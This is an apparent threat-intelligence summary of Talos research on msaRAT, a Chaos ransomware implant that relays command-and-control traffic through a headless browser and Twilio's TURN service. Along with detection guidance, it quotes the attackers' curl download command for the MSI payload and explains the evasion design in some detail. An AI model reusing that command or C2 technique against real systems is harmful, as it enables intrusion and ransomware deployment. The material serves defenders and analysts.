Chaos Ransomware Uses msaRAT to Route C2 Traffic Through Headless Chrome and Edge
Cisco Talos details msaRAT, a Rust implant used by the Chaos ransomware group that drives headless Chrome or Edge over the Chrome DevTools Protocol to relay C2 traffic through a Twilio WebRTC TURN channel, hiding the attacker's server from defenders.
Intelligence analysis by Llama
Chaos ransomware operators have built a Rust implant, msaRAT, that never makes its own network connection. It hijacks a headless browser, drives it through Chrome's debugging API, and tunnels commands out via WebRTC through Twilio's legitimate TURN service so defenders see only a browser talking to Cloudflare and Twilio.
Imagine a burglar who never uses a key to leave the house. Instead, they make the homeowner walk out the door carrying a locked box. That is what this new computer virus does: it never makes its own internet calls, it just borrows the web browser to send its secret messages for it.
Analysis
A Browser That Hides the Attacker
The most striking design choice in msaRAT is what it does not do. The Rust implant never opens its own outbound socket. Talos observed it communicating only with 127.0.0.1, and the process tree shows that the network traffic that actually leaves the victim machine comes from a legitimate Chrome or Edge binary launched in headless mode. The implant locates the browser through environment variables, falling back to the registry for Chrome, then starts it with --headless=new and --remote-debugging-port pointed at its own profile directory. That profile sidesteps a Chrome 136 hardening change that blocks the debugging flag against the default profile, announced in March 2025 after infostealers began exploiting it for cookie theft.
From the browser's perspective, the implant is just another Chrome DevTools Protocol client. msaRAT queries /json/list/, attaches to the returned WebSocket, disables Content Security Policy, registers five JavaScript bindings (msaOpen, msaClose, msaError, msaMessage, and dataAck, the last four of which gave Talos the malware's name), and evaluates JavaScript that lives in plaintext in the binary's .rdata section. The result is a browser process that is genuinely making outbound calls, but on behalf of an attacker who is sitting inside a debugging session.
A TURN Channel You Cannot Easily Block
The JavaScript inside the browser fetches STUN and TURN configuration from a Cloudflare Worker at is-01-ast[.]ols-img-12[.]workers[.]dev, with Origin and Referer headers spoofed to look like Microsoft traffic. It builds a WebRTC peer connection and posts an SDP offer to the same Worker. The answer comes back with no ICE candidates and a connection address of 0.0.0.0, which means no direct peer-to-peer link can form. The whole channel is forced through Twilio's relay at global.turn.twilio.com, and once the data channel is up, the Worker drops out of the path entirely.
The traffic is then double-encrypted. The browser layer provides DTLS, and inside it sits a ChaCha-Poly1305 session keyed by an ECDH exchange that begins with a 0xFE handshake frame from the operator. According to the report, msaRAT's queue and flow control look built for moving large payloads like screenshots or files reliably. None of these primitives are new. Praetorian showed in August 2025 that conferencing TURN infrastructure could carry a full C2 channel, and Sansec found a Magento skimmer in March 2026 using WebRTC data channels to exfiltrate card data past HTTP inspection. What msaRAT demonstrates is that both ideas can now be packaged inside a single Rust implant driving a headless browser.
Detection Lives in Process Behavior, Not Indicators
The initial access path is mundane. msaRAT arrives after the operator already has execution on the host and before the encryptor runs. Talos does not attribute the initial vector in this report, but the Chaos group's documented playbook includes spam floods, vishing, Quick Assist abuse, and RMM-based persistence. The implant itself drops via a single curl command, curl.exe https://172.86.126[.]18:443/update_ms.msi -o C:\programdata\update_ms.msi, which is plain HTTP on port 443 and slips past any firewall rule that filters by port number without inspecting protocol. The MSI carries property data impersonating a Windows update and a custom action that loads an embedded DLL into memory, the DLL being msaRAT, written on Tokio with a single export named RUN.
The detection story is the hard part. msaRAT does not exploit a browser vulnerability, so there is no patch to apply. The indicators that do exist are narrow. The public IOC set, as of July 23, 2026, is just two network artifacts, the staging IP and the Worker hostname, plus ClamAV signature Win.Downloader.ChaosRaas-10060321-0 and Snort 2 rules 1:66839 through 1:66841. workers.dev is a shared Cloudflare deployment domain, and Twilio's TURN service supports real WebRTC apps; blocking either at the organization level would break legitimate traffic. Talos's hunting guidance is to look for Chrome or Edge spawned by an installer, service, or other non-interactive parent with --headless=new and --remote-debugging-port, then correlate that process with loopback debugging traffic and outbound WebRTC, using Runtime.addBinding and Runtime.evaluate as pivots where CDP telemetry is available. Organizations that already run browser automation or CI pipelines will need to tune around their own legitimate headless jobs to make that signal usable.
Key points
- msaRAT is a Rust implant on the Tokio runtime that never opens its own outbound connection; all C2 traffic leaves from a headless Chrome or Edge process under attacker control via the Chrome DevTools Protocol.
- Commands are tunneled through a WebRTC data channel relayed by Twilio's TURN service, with the SDP signaling served from a Cloudflare Worker, so no attacker IP appears on the wire.
- Chrome 136's hardening against --remote-debugging-port on the default profile does not affect msaRAT because the implant ships its own --user-data-dir.
- Initial delivery is a single curl to port 443 over plain HTTP, downloading an MSI that impersonates a Windows update and loads the Rust DLL into memory via a custom action.
- Detection relies on process-behavior hunting, looking for headless browsers spawned by non-interactive parents with debugging flags set, not on the limited network IOCs or browser patches.
Because the C2 traffic emerges from a legitimate browser process calling Cloudflare and Twilio, most network defenses that look at destination reputation or process identity will not flag it, giving operators long dwell time before encryption begins. The narrow public IOC set, a single IP and a single Worker hostname, is also easily rotated, and the Chaos group's mature access tradecraft means msaRAT is likely to show up across multiple intrusions before defenders converge on a behavioral detection.
